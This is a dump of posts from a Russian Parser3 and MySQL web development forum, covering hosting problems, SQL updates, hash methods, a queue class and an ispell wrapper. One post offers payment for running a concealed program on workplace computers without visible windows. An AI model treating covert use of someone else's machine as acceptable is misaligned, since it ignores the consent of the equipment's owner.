Пробовал в auto.p указывать путь к этому файлу и переименовывал его в libmysqlclient.so, все равно не работает _test.html пишет [b]invalid ELF header[/b]. \
Скачивал другие версии mysql, эффект тот же. \
\
Подскажите пожалуйста что еще можно сделать.\
Большое спасибо!"
"37612","http://nbsp.ru/articles/2003/03/12/vebtendentsii_estety_protiv_tehnokratov.html#more"
"37614","Бери случайное число [1;5] , прибавь к нему 50 и отними 5.\
\
В результате получиш случайное число [46;50]"
"37615","Но вот в голове-то мысли бегают, а избавиться от них сложно :( Буду стараться это изменить! Спасибо!"
"37616","1. Исправлены ошибки в сохранении картинки.\
2. Ресайз стал полноценным, можно и уменьшать и увеличивать размер картинки.\
3. Ресайз теперь осуществляется либо по одной из сторон (вторая пропорционально подгоняется), либо по обеим сразу.\
4. Добавил наплевательское отношение к слешам в конце путей.\
5. Добавил возможность задания качества сжатия jpg и png ($.quality(от 1 до 100)).\
\
Качаем [url=\"http://www.spearance.ru/parser3/pictures/archive/images.zip\"]тут[/url].\
\
В планах: \
1. Добавить выбор метода ресайза картинки (Point, Box, Triangle, Hermite, Hanning, Hamming, Blackman, Gaussian, Quadratic, Cubic, Catrom, Mitchell, Lanczos, Bessel, Sinc)\
2. Включить CROP обрезание картинок в класс."
"37617","Есть такой товарищ - Rob Pike кажется, один из создателей юникса, дык вот - он говорит что нельзя что-либо оптимизировать не проведя предварительных замеров. В 9 из 10 случаев, наши предположения о производительности основанные на рассуждениях, но не замерах, оказываются ложными. Яркий пример кстати, это инкремент переменной в парсере разными способами - ^i.inc(2) и $i($i + 2) второй способ и быстрее и пямяти ест меньше, до замеров все казалось с точностью до наоборот."
"37618","Написан кое какой не плохой сервис статистики. Есть Вин приложение написаное на Делфи, Которое заполняет Mysql базу. Ну и скрипты которые уже обрабатывают  данные из базы. Тестировалось сначала все на денвере, потом купил хостинг, а программу запускал из дома - все отлично. \
[b]И вот проблема[/b] Работая дома программа кушает траффик - накладно получаеться. Надо бы ее выложить где-нить ... \
Вот тут то мне и нужна ваша помощь...\
Есть ли хостинг, на котором была бы возможность запускать такое приложение? Необязательно чтоб на этом же хостинге была Mysql база т.к. можно и удаленно заполнять базу.\
Либо Может есть у кого нибудь возможность выложить программу, которая бы работала круглосуточно. Разумееться не бесплатно, примерно за стоимость необх. хостинга."
"37619","Скачал Денвер(Джентльменский набор Web-разработчика\
(Денвер)  (2,8 МБ)\
Включает автоматический инсталлятор, полную версию\
Парсера (3.1.2) с поддержой\
XML, Apache с поддержкой виртуальных хостов, MySQL и\
облегченный PHP, а также и\
phpMyAdmin для администрирования MySQL. Не требует\
никакого конфигурирования, все\
настраивается автоматически.), установил на локальной\
машине.\
Застрял на первом же пункте из мануала по ПАРСЕРу...\
Вместо меню навигации выдает текст: \"^navigation[]\", не\
Помогите разобраться ведь в денвере написано, что ничего\
настраивать не надо..."
"37620","ты что просто на файле index.html шелкнул?\
Надо в адресе писать имя папки на Z\\home"
"37622","Нужно в директорию home/mysite/, где mysite название папки сайта положить файлик .htaccess.\
-----\
# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html htm\
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
	Order allow,deny \
	Deny from all \
</Files>\
----"
"37623","... как говориться, не будем отставать от народа.\
http://www.manufactory.pp.ru\
Там, пока нет последних работ, но, дамаю, для примера достаточно...."
"37624","Имеет ли смысл скачивать MySQL и пробовать разные файлы libmysqlclient.so?"
"37626","Если второе - перепишите в command-line.\
\
Windows-хостингов меньше, чем Unix, но и такие есть (хотя стоят дороже процентов на 40-60). Закидываете туда свою чудо программу и вызываете, как любое другое cgi-приложение. Винде пофигу, на чём оно написано - хоть на masm, хоть на VS .NET.\
\
Вариант намбер два - вроде как Kylix, или как его там, позволяет портировать delphi-приложения на разные платформы, в том числе и виндовс с линуксом (не плавал, не знаю, с дельфи не общался). Пересобираете своё приложение под нужную платформу и снова работаете с ней, закинув в cgi-bin\
\
Вариант три - переписать всё на перле или парсере))"
"37627","Думаю, могу помочь. Правда распиши подробнее всё. Можешь написать на beave@mail.ru"
"37628","У меня есть небольшая просьба, думаю Вы мне поможете.\
Я печатаю двухстороннюю документацию в Adobe Reader'е. И получается, что на одном листе с одной стороны место для подшива слева 3 см, а при перевороте этого листа, получается с лева 1 см, а уже справа 3 см.\
Как это можно исправить?\
P.S. Reader это же не Word, там размеры просто не меняются..."
"37629","Там есть cpanel и Parser можно установить. \
\
Если оплачивать сразу за год, то цены приемлемые:\
50Мб + Домен(com.ua,kiev.ua и др) + Все остальное...\
\
На днях собираюсь у них захоститься.\
\
\
Я задавал вопрос админу по поводу установки Парсера. Вот ответ:[url=\"http://host.com.ua/bin/faq/view?f=20\"]http://host.com.ua/bin/faq/view?f=20[/url]"
"37630","Все три варинта не реальны т.к в прграмме используються компоненты делфи для винды, а именно виндосный браузер."
"37631","Что расписать подробнее... Допустим стоит у вас на работе комп с анлимом работает круглосуточно. Я вам на почту высылаю программку вы ее запускаете, как она работает никто ее не видит ни в трее ни формы никакой(если нужна консперация). Кушать програмка будет 1,5-2Гб в месяц и обновления регулярно будем высылать к вам на мыло. все! Пока програмка работает вы будете попивать пивко за наш счет думаю 1000р в месяц вам на это хватит. Деньги можно по ВМ или как нибудь по другому.\
Это пока единственный для нас выход!\
Может кто нибудь предложит другой вариант?"
"37632","Немного перестал следить за украинским хостингом. \
Вижу проблем нет. \
А лет 6 назад для одного сайта из-за жуткого желания сделать его на парсере пришлось свой сервер ставить.\
Ну и намучался я с ним за эти годы, пора его закрывать. \
\
Уже взял хостинг на http://besthosting.com.ua, правда проблема при установке возникла с MySQL [url=\"http://www.parser.ru/forum/?id=37611\"]http://www.parser.ru/forum/?id=37611[/url] на форуме сколько не искал, ни один вариант не подходит.\
На мое сообщение пока никто не отвечает."
"37633","А в чем проблема? У меня на этом хостинге 4 сайта  стоит... вроде проблем не наблюдалось."
"37634","А у Вас на украинском сервере хостинг? (ip 62.149.0.46)\
У меня проблема библиотекой MySQL libmysqlclient.so, которой на сервере нет. Самому мне ее найти не удалось. Подробнее тут[url=\"http://www.parser.ru/forum/?id=37611\"]http://www.parser.ru/forum/?id=37611[/url]\
\
Администратор обещал помочь и установить библиотеку. Буду надеяться поможет.\
\
А в общем, вроде не плохой хостинг. Особенно мне directadmin понравился, помоему удобней чем cpanel."
"37635","Неудобно, что на украинском сервере нет cpanel и по безналу оплачивать нужно."
"37636","Нет :( У меня все на реслеллерсокм плане на 67.15.42.47 А там все было без проблем."
"37639","На сайте http://service.ikea.ru/b2b/ при минимально допустимой ширине окна браузера логотип IKEA обрезается справа."
"37640","P.S. сорри что не быстро, надо было найти время для того чтобы все это водрузить на MSSQL."
"37641","говорит, что метод не определен...\
как быть?!"
"37643","всё равно тоже самое пишет...\
можно посмотреть html код документа с уже вставленым меню...?"
"37644","... и желательно с исходником"
"37645","HTML-код? Или Parser?\
\
Настоятельно рекомендую почитать FAQ по поводу задавания вопросов (http://www.parser.ru/faq/forum/), FAQ вообще, в целом. Также воспользоваться поиском по форуму. В форуме очень много вопросов от начинающих. Ответы тоже есть."
"37646","В документации не удалось найти потому спрашиваю.. Можно ли сделать так что бы таблица обновлялась за один запрос несколько значений?\
\
то есть в таблице есть колонки id и pid мне заранее не извесно сколько строк будет обновляться... так вот можно ли сделать так что бы обновлялась не только одна строка по принципу \
[code]\
^void:sql{UPDATE LOW_PRIORITY table\
  SET \
    pid = 10\
  WHERE \
    id = 1\
}\
[/code]\
\
а сразу несколько? То есть мне придет равное количество id и pid? Не могли бы вы помочь?"
"37647","UPDATE LOW_PRIORITY table\
  SET \
    pid = 10\
  WHERE \
    id IN (1, 2, 4, 150)"
"37648","[code]\
^rem{### Готовим данные для обновления ###}\
^if($form:fields){\
	$formFields[^table::create{id	pid}]\
	^for[i](1;^form:tables.id.count[]){\
		^form:tables.id.offset[set]($i)\
		^form:tables.pid.offset[set]($i)\
		^formFields.append{$form:tables.id.field	$form:tables.pid.field}\
	}\
}\
\
^rem{### Обновляем ###}\
^formFields.menu{\
	^void:sql{\
		UPDATE LOW_PRIORITY\
			table\
		SET\
			pid = $formFields.pid,\
		WHERE\
			id = $formField.id\
	}\
}\
[/code]\
\
ПостСкриптум\
http://www.parser.ru/forum/?id=37177"
"37649","Это только если для всех [b]id[/b] нужно поставить одинаковы [b]pid[/b]"
"37652","Хочу строить деревья так, как описывал Sanja v.2(http://www.parser.ru/forum/?id=37177) вот что пишу, но ничего в итоге не получается:\
\
[code]\
@getHierarchy[id]\
$tree[^table::sql{\
	SELECT\
		id,\
		parent_id,\
	FROM\
		table\
}]\
$current(^eval(^MAIN:oSQL.last_insert_id[table] + 1))\
$tree_hash[^tree.hash[id]]\
$result[^sub[$current]]\
\
@sub[id;h]\
^if($id != 0){\
	$h[${tree_hash.[$id].id}^if(def $h){.$h}]\
	^sub[$tree_hash.[$id].parent_id;$h]\
}{\
	$result[$h]\
}\
[/code]\
\
Собственно, записываю в переменную вроде бы иерархию:\
\
[code]\
$hierarchy[^getHierarchy[]]\
[/code]\
\
И не работает! :( Выдает пустую строку. Помогите разобраться, пожалуйста ;)"
"37656","В доке мо MySQL написано:\
\
[quot]\
Возвращает идентификатор [b]ID[/b], сгенерированный для столбца [b]AUTO_INCREMENT[/b] предыдущим запросом.\
[/quot]\
\
Т.е как я понял перед использованием last_insert_id[таблица] нужно сначала вставить в эту таблицу какое-либо значение? Хорошо, переписал так:\
\
[code]\
^void:sql{\
	INSERT INTO...\
}\
\
$hierarchy[^getHierarchy[]]\
\
^void:sql{\
	UPDATE...\
	WHERE\
		id = ^MAIN:oSQL.last_insert_id[table]\
}\
[/code]\
\
И все равно не работает :("
"37657","... это что id вот здесь - ^if($id != 0){... таки равно нулю. Ну и соответственно... h при первом вызове sub ведь не определён... Оно честно крутит один раз и того... Посмотрите id этот самый... Может такое быть?"
"37658","[code]\
^void:sql{\
	INSERT INTO...\
}\
$id(^MAIN:oSQL.last_insert_id[$table_name])\
...\
[/code]\
\
А потом уже крутить остальное."
"37662","в общем сам класс править не пришлось, там все ок. правда положил в архив скрипт для генерации базы данных в MSSQL.\
\
а править пришлось SQL класс (mssql.p), т.к. там не было используемого в auth.p метода date_sub (обновленные sql классы тоже выложил).\
\
в общем вот."
"37663","Тут вот в мишином примере новостей все понял кроме двух строк:\
[code]\
$y_hash[^calendar.hash[year;year][$.distinct(1)]]\
а именно, зачем два раза [year;year]Создаем два ключа? а смысл?\
$ym_hash[^calendar.hash{^calendar.year.format[%04d]=^calendar.month.format[%02d]}[month][$.distinct(1)]]\
А тут не могли бы Вы прокомментировать format[%04d]=^calendar.month.format[%02d] пожалуйста.\
[/code]"
"37664","[quot]\
$y_hash[^calendar.hash[year;year][$.distinct(1)]]\
а именно, зачем два раза [year;year]Создаем два ключа? а смысл?\
[/quot]\
\
нет. посмотрите синтаксис метода hash в документации\
\
[quot]\
$ym_hash[^calendar.hash{^calendar.year.format[%04d]=^calendar.month.format[%02d]}[month][$.distinct(1)]]\
А тут не могли бы Вы прокомментировать format[%04d]=^calendar.month.format[%02d] пожалуйста.\
[/quot]\
\
посмотрите в документации про метод format и про форматные строки"
"37665","[quot]\
^таблица.hash[ключ]\
^таблица.hash[ключ][опции]\
^таблица.hash[ключ][столбец значений]\
^таблица.hash[ключ][столбец значений][опции]\
^таблица.hash[ключ][таблица со столбцами значений]\
^таблица.hash[ключ][таблица со столбцами значений][опции]\
\
Ключ может быть задан, как:\
Ї [строка] - название столбца, значение которого считается ключом;\
[/quot]\
\
\
Понятней из документации ни стало ничуть :("
"37666","Парсер думает, что метод не определен. Значит так оно и есть.\
Проверь синтаксис.\
\
Определение метода: [code]@Metod_Name[]\
# код метода\
[/code]\
Вызов определенного метода: [code]^Metod_Name[][/code]\
\
Внимательно читай сообщение об ошибке! Парсер абсолютно точно указывает где произошла ошибка (имя файла и номер строки).\
\
Идеш на место проишедствия и смотриш, что не так. Обычно проблема в синтаксисе."
"37668","[b]Цитата 1[/b]\
«Несколько обновлений подряд выполняются намного быстрее, чем отдельные обновления если вы блокируете таблицу.»\
[url=\"http://dev.mysql.com/doc/mysql/ru/update-speed.html\"](5.2.10)[/url]\
\
[b]Цитата 2[/b]\
«Так как в MySQL операции INSERT, UPDATE и DELETE очень быстрые, общая производительность будет улучшаться, если добавлять блокировки ко всем командам, делающим более 5 вставок или обновлений подряд. Если делается очень много вставок строк, можно время от времени сопровождать команду LOCK TABLES командой UNLOCK TABLES (после каждых 1000 строк), чтобы позволить другим потокам обращаться к таблице.»\
[url=\"http://dev.mysql.com/doc/mysql/ru/insert-speed.html\"](5.2.9)[/url]\
\
Делай так:\
1. Заблокируй таблицу (LOCK TABLES)\
2. Выполни необходимое количество UPDATE-ов\
3. Разблокируй таблицу (UNLOCK TABLES)"
"37669","сравниваем:\
^calendar.hash[year;year][$.distinct(1)]\
с\
^таблица.hash[ключ][столбец значений][опции]\
+\
\
\"Если задан столбец значений, то каждому ключу будет соответствовать хеш с одной ассоциацией «название столбца - значение столбца в записи»\"\
\
P.S. взять и вывести получившееся. один раз посмотреть глазами и понять."
"37670","но не знаю насколько это правильно не зочется чтобы получилось так чтобы ктото обратился к заблокированной таблице..."
"37672","Да, возможна ситуация когда какому-то запросу необходима таблица, которая заблокирована. В этом случае запрос становится в очередь и ожидает. А некоторым запросам может быть разрешено читать заблокированные таблицы.\
\
Читай документацию там все это в подробностях..."
"37673","[code]\
# к int\
@to_int[int_cook]\
$str[$int_cook]\
$var(^str.double(0))\
^var.format[%.0f]\
[/code]\
Вообщем преобразует в инт значения для отбора ploshad и price, потом идет запрос в MySQL и парсер пишет \
[code]\
You have an error in your SQL syntax near '\\n\\n123\\n\\n\\n\\n\\n\
select id, h1, price, ploshad, status, pologenie, status_time, zametr from object where type='' and sb='' AND ploshad >= 123 AND ploshad <= 655466 AND price >= 0 AND price <0 \
[/code]\
Проверяю этот же запрос в самой MySQL - все нормально."
"37674","[code]$result(^var.format[%.0f])[/code]\
а вообще - странный какой-то у вас метод, чем ^строка.int(0) не угодил?"
"37676","Ну так а в чем проблема то? Если надо, то можно взять и написать, поддержка DOM есть, чего еще не хватает?"
"37677","Вот код:\
[code]\
$str[--123]\
$num(^str.int(0))\
[/code]\
В $num кладется 123. Почему не нуль? Это фича такая? (если написать 3 минуса, то берется значение по умолчанию)"
"37679","Я вот тут взял да и оставил одно year:\
[code]$y_hash[^calendar.hash[year][$.distinct(1)]][/code]\
Так ничего не изменилась! Тогда зачем?\
А что вы имели под:\
[quot]P.S. взять и вывести получившееся. один раз посмотреть глазами и понять.[/quot]\
В смыслк просто потом написать $y_hash?\
Благодарю за ответы."
"37680","[quot]\
Так ничего не изменилась! Тогда зачем?\
[/quot]\
\
изменилось. увеличился расход памяти.\
\
[quot]\
В смыслк просто потом написать $y_hash?\
[/quot]\
\
конечно нет. так вы отгребете ошибку парсера. надо написать простенький метод который выводит содержимое/структуру хеша."
"37681","^строка.int(0) не работает (по-крайней мере в моей версии). Писал запрос в MySQL Control Сenter все вроде нормально работает :)\
\
Заботится об удалении пробелов :) пользователю ничего не сообщая."
"37682","P.S. вы бы привели парсерный код как вы SQL запрос делаете и описание таблицы."
"37683","... проверял"
"37684","Что то не дошло до меня. Полистал справочник, но не нашел не одного метода, выводящего хэш! Подскажите.\
Так получается мы два раза пишем year чтобы памяти мерьше кушало?\
                                                           Спасибо."
"37685","Хороший пример CMS.\
\
http://www.myarticlesite.com/admin/index.php\
\
... можно взять за основу"
"37686","В документации:\
http://www.parser.ru/docs/lang/hashforeach.htm\
\
В FAQ:\
http://www.parser.ru/faq/lang/ (последний на странице вопрос)"
"37687","Загружаю некоторые данные с другого сервера. Запросы происходят в цикле с некоторыми условиями. Сервер не отдает информацию, если ее слишком часто запрашивать. Возникает необходимость в каком-то методе @pause. Делать его на основе циклов не получается, либо отваливается по бесконечному циклу, либо в Windows виснет процесс из-за отжираемой памяти. Придумал только с помощью кривого запроса в БД. Можно сделать как то покрасивее?"
"37688","Правильный подход видимо такой:\
[code]\
^while(!$flag){\
	^try{\
		$f[^file::load[...]]\
		$flag(1)\
		}{\
			$exception.handled(1)\
		}\
}\
[/code]"
"37689","Не совсем. Могут блочить не сами факты загрузок, а попытки оных, тогда такой цикл будет постоянно попадать на блок, так как попытки будут постоянны. Кроме того, если ставят ограничения на количество загрузок в единицу времени, обычно комбинируют это с количеством обращений с одного адреса. Например 10 обращений в секунду - блокируется ip на полчаса. Наверное надо выяснить политику ограничений и исходить из нее."
"37690","Вот понадобилось и набацал побыстрому. Может кому пригодится. Критика кода очень приветствуется.\
[code]\
#==========================================================================================\
# Класс для работы типом данных \"Очередь\". (v1.0) Автор: С. Лифшиц (serlif@mail.ru)\
#==========================================================================================\
#\
# @create[data] - конструктор\
# @push[data] - добавить в очередь\
# @pop[] - взять из очереди\
# @empty[] - проверка на пустоту\
#\
#==========================================================================================\
	\
@CLASS\
dec\
\
@create[data][key]\
^if(def $data){\
	$key[^math:uid64[]]\
	$dec[\
		$.quantity(1)\
		$.keys[$key]\
		$.$key[$data]}\
	]\
}{\
	$.dec[$.quantity(0)]\
}\
\
@push[data][key;flag]\
^if(def $data){\
	^while(!$flag){\
		$key[^math:uid64[]]\
		^if(!def $dec.$key){$flag(1)}\
	}\
	$dec.keys[${dec.keys}$key]\
	$dec.quantity($dec.quantity+1)\
	$dec[$.[$key][$data]]\
}\
\
@pop[][key]\
^if($dec.quantity>0){\
	$key[^dec.keys.left(16)]\
	$result[$dec.$key]\
	$dec.quantity($dec.quantity-1)\
	$dec.keys[^dec.keys.right(16*$dec.quantity)]\
}\
\
@empty[]\
$result(^if($dec.quantity==0){1}{0})\
[/code]"
"37691","Вопрос в следующем: есть структура сайта, полностью в XML'e.\
некоторые части вытаскивать нужно из SQL базы.\
\
Как лучше это сделать?!\
Вставить в нужное место XML'я код Parser'a или в коде после прочтения, довставлять нужные данные и передать уже в XSLT?!\
\
P.S Надеюсь понятно выразился. :("
"37694","CVS log for parser3/operators.txt\
Default branch: MAIN\
Changes since 1.177: +1 -0 lines\
\
[b]+ operator ^sleep(double seconds)[/b]"
"37698","Допустим вы обрабатываете какие-то объекты в цикле и там же в цикле могут создаваться новые аналогичные объекты, которые также нужно обработать в этом цикле. Берете объекты для обработки из начала очереди, а новые создающиеся засовываете в конец."
"37701","Решил спросить мнение у Гуру :)\
\
есть система управления сайтом. В ней есть модуль публикации страниц сайта. При этом возникла необходимость вставлять в текст статьи т.н. макросы (например форму подписки на новости и т.п.)\
\
Пришла в голову идея сделать так:\
В тексте статьи вставляем конструкцию вроде этой:\
%module #subscribe_form%\
\
Когда достается из БД текст раздела, то делаем ему replace\
%module #subscribe_form% на ^subscribe_form[]\
\
А потом текст раздела в ^process{}\
При этом, дабы избежать неприятностей, перед тем как делать replace с помощью регекспов убираем все, что может являться кодом Парсера.\
\
Естественно, что метод ^subscribe_form[] заранее определен, т.е. есть некий список макросов.\
\
Не слишком кривой подход? Если кривой, то как можно сделать по другому?"
"37702","[code]\
@CLASS\
dec\
\
@create[data]\
^if(def $data){\
	$dec[$.1[$data]]\
}{\
	$dec[^hash::create[]]\
}\
\
@push[data]\
^if(def $data){\
	^dec.add[$.[^eval($dec+1)][$data]]\
}\
\
@pop[]\
^if($dec){\
	$result[$dec.[^dec._count[]]]\
	^dec.delete[^dec._count[]]\
}\
\
@empty[]\
$result(!$dec)\
[/code]"
"37703","Правильно так:\
[code]\
#==========================================================================================\
# Класс для работы c типом данных \"Очередь\". (v1.0) Автор: С. Лифшиц (serlif@mail.ru)\
#==========================================================================================\
#\
# @create[data] - конструктор\
# @push[data] - добавить в очередь\
# @pop[] - взять из очереди\
# @empty[] - проверка на пустоту\
#\
#==========================================================================================\
	\
@CLASS\
dec\
\
@create[data][key]\
^if(def $data){\
	$key[^math:uid64[]]\
	$dec[\
		$.quantity(1)\
		$.keys[$key]\
		$.$key[$data]\
	]\
}{\
	$.dec[$.quantity(0)]\
}\
\
@push[data][key;flag]\
^if(def $data){\
	^while(!$flag){\
		$key[^math:uid64[]]\
		^if(!def $dec.$key){$flag(1)}\
	}\
	$dec.keys[${dec.keys}$key]\
	$dec.quantity($dec.quantity+1)\
	^dec.add[$.[$key][$data]]\
}\
\
@pop[][key]\
^if($dec.quantity>0){\
	$key[^dec.keys.left(16)]\
	$result[$dec.$key]\
	$dec.quantity($dec.quantity-1)\
	$dec.keys[^dec.keys.right(16*$dec.quantity)]\
	^dec.delete[$key]\
}\
\
@empty[]\
$result(^if($dec.quantity==0){1}{0})\
[/code]"
"37704","Осознаю глубину своих глубин... Я тоже начал делать с целочисленными ключами, но потом подумал что у int-а ведь типа есть ограничение... но сейчас понял что это гон... все рано не получится столько напихать в очередь, ибо в цикле возможно максимуи 10000 итераций..."
"37707","Почему молчим? Ж)"
"37708","нее... Так плохо.\
Проще надо. например у меня что-то вроде этого:\
- есть страницы у сайта\
- есть интерактивы всяческие (формы подписки, и пр.)\
- в ЦМС есть в опциях страницы возможность подключить любой интерактив, уже созданный, или перейти на страницу создания нужного типа интерактива.\
все. Далее - XML/XSLT."
"37709","А какие у тебя запросы к серверу?"
"37711","Все уже сделал, просто в документации написано ^str.int[] так что я разобрался в этом крутом вопросе :)"
"37713","А где его посмотреть можно)))"
"37714","Где можно почитать про универсальность подхода, и вообще про основные принципы."
"37715","Где можно почитать про универсальность подхода, и вообще про основные принципы."
"37717","[quot]Когда достается из БД текст раздела, то делаем ему replace\
%module #subscribe_form% на ^subscribe_form[][/quot]\
Только надо заменить не на текст \"^subscribe_form[]\", который вы потом собираетесь процесить, а сразу на вызов метода. Чтобы обойтист без process."
"37718","На [url=\"http://misha.design.ru/\"]сайте у Миши[/url] есть Очень полезная статья про Engine v.3\
\
Над своим движком работает также Егоров. У него на [url=\"http://www.egoroff.spb.ru/\"]сайте[/url] тоже есть что почитать.\
\
Желаю удачи!"
"37720","[quot]\
Вставить в нужное место XML'я код Parser'a\
[/quot]"
"37721","Наскольго хорошо индексируются страницы сгенерированые Parser в поисковиках?"
"37722","А чем страницы, сгенерированные Парсером отличаются от страниц, сгенерированных php|perl'ом|руками?.."
"37723","1. Нужно отдавать Last-Modified, и при этом желательно не создаваемый простым roll(-1) от date::now, а какой-то локально постоянный, зависимый от обновлений записей с контентом в базе, файле и т.д.\
\
2. Если много страниц на сайте - нужно обрабатывать If-Modified-Since и отдавать статус 304 для неизмененных страниц. У пауков есть квоты на количество забираемых за один раз страниц.\
\
Вообщем если у вас выдается изменяемый Last-Modified и вы не смотрите на запрос паука, чтобы не отдавать ему необновленные страницы, которые уже есть в базе - он может очень-очень долго добираться до некоторых страниц."
"37724","В таком случае это не \"пример CMS\" :)))"
"37725","Прикольный пример оверкила :)\
http://dump.iof.ru/data/2005_03_04_registration.gif"
"37726","На сайте МТС тоже не слабо. При отпраке смс пока разглядишь цифровой код ослепнешь нафиг"
"37727","Как сделать сабж, чтобы модно было посчитать, за сколько сгенерирована страница?"
"37728","Интересно, а кто нибудь делал на Parser синдикацию с LJ? Вообще это возможно? Если кто-нибудь делал, то можно посмотреть исходные коды или хотя бы по какому принципу осуществлить?"
"37731","Правда, только под Виндовс.\
Столкнулся и восхитился.\
Топорное решение, но все же...\
\
http://oleg.kcg.kg/phpexe/"
"37733","Как получить строку /price/mramor при запросе /price/mramor/?koelga\
\
Полдня убил, никак не получается =("
"37734","Вот этот код на локале (win) работает, а на сервере (freebsd) не работает:\
\
$id[^math:uid64[]]\
^form:hires.save[binary;$dirGallery/${id}.jpg]\
^form:preview.save[binary;$dirGallery/${id}.preview.jpg]\
\
То есть картинки сохраняются, но какие-то порченные уже. Где копать?\
\
Вот что дает сравнение файлов побайтно:\
\
Сравнение файлов 96A45E0A38AED5BB.preview.jpg и RRR1.JPG\
00000004: 20 00\
0000000A: 20 00\
0000000E: 20 00\
00000010: 20 00\
00000012: 20 00\
и тд."
"37735","Вот метод:\
\
[code]\
@uriWITHOUTquery[][uri]\
  $uri[$request:uri]\
 # Строку uri разбиваем на запчасти, и складываем в табл uri\
  $uri[^uri.split[?;lh]]\
 # Выдаем результат -- первая колонка таблицы uri\
  $result[$uri.0]\
 # Убираем после себя мусор\
  $uri[]\
  ^memory:compact[]\
#end of @uriWITHOUTquery[]\
[/code]"
"37736","^memory:compact[] - выкинуть ибо это [b]дорогая[/b] по времени операция, и делать её стоит когда это оправдано освобождением большого количества памяти."
"37739","Ищеться готовый скрипт."
"37740","parser3 ведь делает это как и mysql.\
\
[code]\
1\
10\
2\
[/code]\
\
вопрос: как сделать это правильно?\
\
[code]\
1\
2\
10\
[/code]"
"37742","парсер и MySQL так сортируют _строки_.\
\
сортируйте таки числа: у метода ^таблица.sort параметры вызова описаны в документации."
"37744","это лишь примеры, а про основные принципы не особо. к тому же у миши на сайте столько орфографических ошибок..."
"37746","У меня на серваке стоит IIS 5.0\
Все работает ОК с БД и вообще. Но на одной из машин при обращении к странице, где формируется список фалов \
[code]$list[^file:list[/in/;\\.txt]][/code]\
возникает ошибка выданная парсером. При этом запись в лог не делается. Права на той машине установленны (дан полный доступ).\
\
Какие же ему ещё права нужны?\
\
Причем если добавляю интернет гостя вся пахает. Странно..."
"37747","На стороне клиента java-скрипт формирует запрос к серверу. При передаче запроса строка кодируется в Unicode, но по java. То есть не %xxxx, а %uXXXX. Как привести к нормальному виду и потом работать с данными??? \
Спасибо всем!!!"
"37750","Я на сайте http://www.typograf.ru использую внешний спелл-чекер.\
Как прописать обращение к скрипту в file::exec могу подсказать :)\
\
Что же касаемо анализатора ошибок написанного на Parser, то его наверное нет. А если и есть, то врятли им кто-то поделится."
"37752","это эквивалентно."
"37753","от админа"
"37754","ведь результатом transform являются [b]чистые[/b] буквы. чтобы их можно было просто в браузер выдать, без дополнительных действий.\
соответственно, да, нужно сделать taint.\
по-хорошему, в каком-то одном узловом месте, чтобе не иметь возможности позабыть.\
\
мелочь: не стоит указывать у taint язык, достаточно ^taint[строка].\
что \"sql\" — в этом разберётся ^void:sql"
"37755","теперь (>=3.1.4) всегда выводится внятное сообщение об ошибке."
"37756","Где взять? Сколько стоит?"
"37757","Держите прототип, можете сами довести до ума.\
\
Нужен ispell, собранный под Windows, и русский dic-файл (найдёте, Яндекс в помощь). Бросьте ispell.exe, russian.aff и russian.hash в папку /etc/ispell сайта. Создайте в этой папке run_from_webpage.bat следующего содержания (исправив его текст под себя):\
\
[code]@REM\
@REM ####################################################################\
@REM #                                                                  #\
@REM #   bat-файл - \"прокладка\" между parser и ispell                   #\
@REM #                                                                  #\
@REM ####################################################################\
@REM\
@ECHO OFF\
@ECHO Content-type: text/plain\
@ECHO.\
@ECHO.\
SETLOCAL\
@REM Обратите внимание, что используются имена файлов в формате 8.3\
SET ISPELLDICTDIR=C:\\4F3E~1\\GFK_FO~1\\DE27~1\\LOCALH~1\\HTML\\ETC\\ISPELL\
%ISPELLDICTDIR%\\ispell.exe -a -B -d russian  < %1\
ENDLOCAL\
ERASE /Q /F %1[/code]затем создаёте в корневой папке ispell.html такого содержания:[code]@main[]\
\
#\
# Это чтобы страница не попадала в кэш браузера, а каждый раз \
# запрашивалась бы с сайта заново:\
#\
\
$response:cache-control[ $.value[0]]\
$response:pragma[        $.value[no-cache]]\
\
#\
# А тут, собственно, текст самой страницы, выдаваемый браузеру:\
#\
\
$result[<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
	<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \
	\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\
	<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"ru\" lang=\"ru\">\
	    <head>\
	        <title>Тест ispell</title>\
	    </head>\
	    <body>\
\
			<h1>Тест ispell</h1>\
\
#			Получаем значение формы:\
			$message[^taint[optimized-html][$form:message]]\
#			Если оно задано, выполняем проверку грамматики:\
			^if(def $message){\
#				Сохраняем поле формы в текстовый файл:\
				$random[${request:document-root}etc/ispell/temp/ispell_temp_file_^math:uid64[].txt]\
				^message.save[$random] \
#				Не забываем заменить unix-слэши на windows:				\
				$windows_slashes[^table::create{from	to\
/	\\}]\
#				Вызываем ispell.exe и скармливаем ему наш файл:				\
				$ispelled[^file::cgi[C:\\4F3E~1\\GFK_FO~1\\DE27~1\\LOCALH~1\\html\\etc\\ispell\\run_from_webpage.bat;;\"^random.replace[$windows_slashes]\"]]\
				$tbl_message_ispell[^table::create{lin\
$ispelled.text}]\
#				Таблица для хранения слов с ошибками и вариантами:\
				$tbl_suggestions[^table::create{word	suggestions}]\
				^tbl_message_ispell.menu{\
#					<i>$tbl_message_ispell.lin</i> <br>\
					^if( ^tbl_message_ispell.lin.left(1) eq \"*\" || ^tbl_message_ispell.lin.left(1) eq \"@\"){}{\
						$dummy[\
							^tbl_message_ispell.lin.match[& (.+) (\\d+) (\\d+): (.+)][]{^tbl_suggestions.append{$match.1	$match.4}}\
							^tbl_message_ispell.lin.match[# (.+) (\\d+)][]{^tbl_suggestions.append{$match.1	?}}\
						]\
					}\
				}\
				\
				<pre>$message</pre>\
				\
				^tbl_suggestions.menu{\
					<i>$tbl_suggestions.word ------> $tbl_suggestions.suggestions</i>\
				}[<br>]\
							\
				<p><a href=\"./ispell.html\">another test</a>\
			}{\
				<form action=\"./ispell.html\" method=\"post\">\
					<textarea name=\"message\" rows=\"7\" cols=\"50\"></textarea>\
					<input type=submit>			\
				</form>\
			}\
	    </body>\
	</html>\
] [/code]Не забудьте отредактировать путь к bat-файлу в коде (ОБЯЗАН быть в формате 8.3)"
"37758","\"исходить из принципа шаблонов\" можно тогда, когда речь идёт о шаблонах.\
\
